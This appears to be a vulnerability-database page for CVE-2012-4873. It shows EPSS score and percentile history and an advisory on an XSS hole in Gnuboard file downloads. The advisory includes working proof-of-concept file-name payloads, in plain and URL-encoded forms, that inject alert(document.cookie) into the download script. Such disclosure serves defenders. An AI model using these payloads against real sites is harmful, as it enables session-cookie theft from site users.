CVE-2012-4873 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.95%	–	–
2022-02-13	–	–	1.95%	–	–
2022-04-03	–	–	1.95%	–	–
2022-05-29	–	–	1.95%	–	–
2022-08-21	–	–	1.96%	–	–
2022-11-27	–	–	1.92%	–	–
2022-12-25	–	–	1.92%	–	–
2023-01-01	–	–	1.92%	–	–
2023-02-19	–	–	1.92%	–	–
2023-03-12	–	–	–	0.2%	–
2023-08-13	–	–	–	0.2%	–
2024-02-11	–	–	–	0.36%	–
2024-03-03	–	–	–	0.36%	–
2024-03-17	–	–	–	0.4%	–
2024-06-02	–	–	–	0.39%	–
2024-08-25	–	–	–	0.39%	–
2024-09-22	–	–	–	0.2%	–
2024-11-10	–	–	–	0.2%	–
2024-12-22	–	–	–	0.24%	–
2025-01-19	–	–	–	0.24%	–
2025-03-18	–	–	–	–	0.35%
2025-03-30	–	–	–	–	0.35%
2025-04-09	–	–	–	–	0.35%
2025-04-15	–	–	–	–	0.35%
2025-05-01	–	–	–	–	0.35%
2025-05-05	–	–	–	–	0.35%
2025-05-09	–	–	–	–	0.35%
2025-05-09	–	–	–	–	0.35,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	55%
2022-02-13	56%
2022-04-03	76%
2022-05-29	77%
2022-08-21	78%
2022-11-27	77%
2022-12-25	78%
2023-01-01	77%
2023-02-19	78%
2023-03-12	56%
2023-08-13	57%
2024-02-11	71%
2024-03-03	72%
2024-03-17	73%
2024-06-02	73%
2024-08-25	74%
2024-09-22	58%
2024-11-10	59%
2024-12-22	64%
2025-01-19	64%
2025-03-18	55%
2025-03-30	54%
2025-04-09	55%
2025-04-15	56%
2025-05-01	57%
2025-05-05	56%
2025-05-09	57%
2025-05-09	57%

source: https://www.securityfocus.com/bid/52622/info Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Gnuboard versions prior to 4.34.21 are vulnerable. 1) you can upload a file (e.g. a.txt) to the BBS. 2) you can download it from the following scripts and figure out what's working on. ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt'); ############################################################################################################################################# 3) you can also upload a file with name of XSS code. The following is the example. - ');alert(document.cookie);// - %27);alert(document.cookie);%2f%2f - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f ### vulnerable code ######################################################################################################################### javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//'); ############################################################################################################################################# 4) The example file works by pulling in the Javascript and running it as part of the Javascript.